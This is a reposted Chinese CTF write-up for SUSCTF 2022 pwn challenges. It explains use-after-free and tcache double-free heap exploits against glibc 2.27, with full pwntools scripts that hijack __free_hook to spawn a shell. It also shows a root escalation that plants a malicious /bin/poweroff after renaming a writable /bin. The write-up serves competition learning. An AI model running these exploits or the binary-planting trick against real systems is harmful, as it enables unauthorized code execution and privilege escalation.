SUSCTF 2022 Pwn WriteUp


SUSCTF 2022 Pwn WriteUp

前言

這次比賽,我是跟着SU一起打的,一共5Pwn題,算起來比賽時是做了4個吧,不過最后的內核題被非預期得有點離譜,包括它的revenge竟然能被更容易地非預期掉,若是不能非預期,可能寫起來還是有點難度的emmmmmm......最后我們SU拿了冠軍,還是很開心的!!!
下面就貼一下給戰隊寫的WP,可能最后SU官方的WP有些題目是其他師傅寫的,思路應該也都差不多,前面兩個glibc的堆題都是考察UAF的構造利用,也都是低版本的glibc,我覺得還是比較容易的。

rain

這題也不需要完全逆完,就抓可能產生漏洞的地方分析構造就好。首先,很容易關注到configrealloc那里,當size = 0的時候,相當於free,然后再通過realloc往這個已經在tcache中的堆塊寫入數據,修改其next指針(其實就是個UAF),就可以進行劫持了,這里由於是2.27(1.2)版本的libc,因此還可以進行double free。不過,這里有兩個地方要考慮一下,第一個就是需要泄露libc的基地址,第二個就是如何將我們偽造的堆塊申請出來。對於第一個問題,我們容易想到,可以通過更改存放字母表的地址,再打印出來,就能造成信息泄露了,既然要更改存放字母表的地址,自然最方便的就是劫持整個結構體了,我們用raining刷新一下后,會通過malloc(0x40)申請一個堆塊存放這個結構體,而我們可以在之前通過realloc那里double free一個0x50的堆塊,這里就會申請出其中一個存放這個結構體,而在之后我們再用realloc申請出另外一個,就可以劫持到結構體了,這里由於沒開PIE,故直接將存放字母表的地址改成某個elfgot表地址,就可以泄露出libc基地址了。再考慮第二個問題,如何申請出偽造的堆塊,其實思路是類似地,先用raining刷新后,通過申請結構體那里申請出一個堆塊,再在之后realloc申請出的就是偽造的堆塊了,也就可以進行任意寫了,這里劫持的是__free_hook,再通過realloc(0)調用free即可。

from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

#io = process('./rain')
io = remote('124.71.185.75', 9999)
elf = ELF('./rain')
libc = ELF('./libc.so.6')

def send_data(heigh, width, front_color, back_color, rainfall, content):
	io.sendlineafter('ch> ', b'1')
	payload = p32(heigh) + p32(width) + p8(front_color) + p8(back_color) + p32(rainfall)
	payload = payload.ljust(18, b'a')
	payload += content
	io.sendafter('FRAME> ', payload)

io.sendlineafter('ch> ', b'2')
send_data(1, 1, 0, 0, 1, b'a'*0x48)
send_data(1, 1, 0, 0, 1, b'')
send_data(0x50, 0x50, 0x2, 0x1, 0x64, b'a'*0x58)
io.sendlineafter('ch> ', b'3')
send_data(0, 0, 0, 0, 1, p32(0x1) + p32(0x1) + b'a'*0x20 + p64(0x400E17) + p64(elf.got['atoi']) + b'a'*0x10)
send_data(0x50, 0x50, 0x2, 0x1, 0x64, b'\x00')
io.sendlineafter('ch> ', b'2')
io.recvuntil("Table:            ")
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['atoi']
success("libc_base:\t" + hex(libc_base))
io.sendlineafter('ch> ', b'3')
send_data(1, 1, 0, 0, 1, b'a'*0x48)
send_data(1, 1, 0, 0, 1, b'')
send_data(0x50, 0x50, 0x2, 0x1, 0x64, p64(libc_base + libc.sym['__free_hook'] - 8))
io.sendlineafter('ch> ', b'3')
send_data(1, 1, 0, 0, 1, b'/bin/sh\x00' + p64(libc_base + libc.sym['system']) + b'a'*0x38)
send_data(1, 1, 0, 0, 1, b'')
io.interactive()

happytree

程序主要實現了一個二叉排序樹的結點加入和刪除,其中每個結點的左子樹中結點的值都小於它,右子樹中所有結點的值都大於它,且沒有重復的結點(每個結點的值&0xff就是malloc的堆塊size),開始感覺刪除那里當需要刪除的結點左右都存在子結點的時候可能有漏洞可以利用,后來也沒細想,因為發現了更簡單的利用思路,可以構造一個只有左結點的單邊樹,然后將結點依次刪除,填滿tcache后,再刪除一個使其進入unsorted bin,而每次刪除的時候,存放結點信息的堆塊也會跟着被刪除,此時,在unsorted bin中的結點對應的存放信息的堆塊就進入了fastbin,這個存放信息的堆塊的fd自然是0,而這個fd的位置,就是之前存放結點對應值的位置,又因為存放信息的堆塊的bk不會更改,會有數據殘留,仍然是對應結點的堆塊地址,且包括存放該結點左右子結點地址的位置也不會被覆蓋,都存在數據殘留,利用這幾個數據殘留就很容易達到UAF的目的。具體操作就是,從tcache末端申請回一個結點堆塊及其對應存放信息的堆塊,此時其對應存放信息的堆塊的左節點位置就是在unsorted bin中的結點所對應的存放信息的堆塊(在fastbin中),此時這個存放信息的堆塊存放的結點的值為0(由於0是最小的值,因此之前要構建只有左結點的單邊樹,而不能是右節點),存放的對應結點位置就是在unsorted bin中的堆塊地址,若是我們show(0),自然就可以泄露出libc的基地址了,然后我們再申請一個小一些的size,就會從unsorted bin分割出一部分給用戶,這樣我們0這個值所對應的結點堆塊地址和申請的小一些的size對應的結點堆塊地址就指向了同一個地址,又因為這是在libc-2.27(1.2)下的,故可以直接double freetcache中,也就可以任意寫了。

from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

#io = process("./pwn")
io = remote("124.71.147.225", 9999)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def insert(size, content = b'\n'):
	io.sendlineafter("cmd> ", b'1')
	io.sendlineafter("data: ", str(size))
	io.sendafter("content: ", content)

def delete(size):
	io.sendlineafter("cmd> ", b'2')
	io.sendlineafter("data: ", str(size))

def show(size):
	io.sendlineafter("cmd> ", b'3')
	io.sendlineafter("data: ", str(size))

def quit():
	io.sendlineafter("cmd> ", b'4')

insert(0x1000)
for i in range(9):
	insert(0x100*(9-i)+0xff)
for i in range(8):
	delete(0x100*(9-i)+0xff)
insert(0xff)
show(0)
io.recvuntil("content: ")
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 96
success("libc_base:\t" + hex(libc_base))
insert(0x160)
delete(0)
delete(0x160)
insert(0x260, p64(libc_base + libc.sym['__free_hook'] - 8))
insert(0x360)
insert(0x460, b'/bin/sh\x00' + p64(libc_base + libc.sym['system']))
delete(0x460)
io.interactive()

kqueue & kqueue's revenge

非預期

/ $ ls -al
drwxrwxr-x   14 ctf      ctf              0 Feb 27 11:54 .
drwxrwxr-x   14 ctf      ctf              0 Feb 27 11:54 ..

可以看到...都是用戶權限,所以可以直接改文件名,這里把bin文件夾的名字改了,再建一個bin文件夾,之后在bin文件夾中創建poweroff並寫入任意命令,再賦予其可執行權限。這樣,在退出1000權限的/bin/sh后,init腳本仍然以root調用了poweroff命令(路徑為/bin/poweroff),就可以以root執行我們任意更改的惡意指令了,也就很容易地非預期打通了......
exp如下:

mv bin evil_bin
cd evil_bin
./mkdir /bin
./echo "/evil_bin/cat /flag" > /bin/poweroff
./chmod +x /bin/poweroff
exit

比較無語的是,此題的revenge版本並沒有修復這個問題,仍然能這樣非預期打通......


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM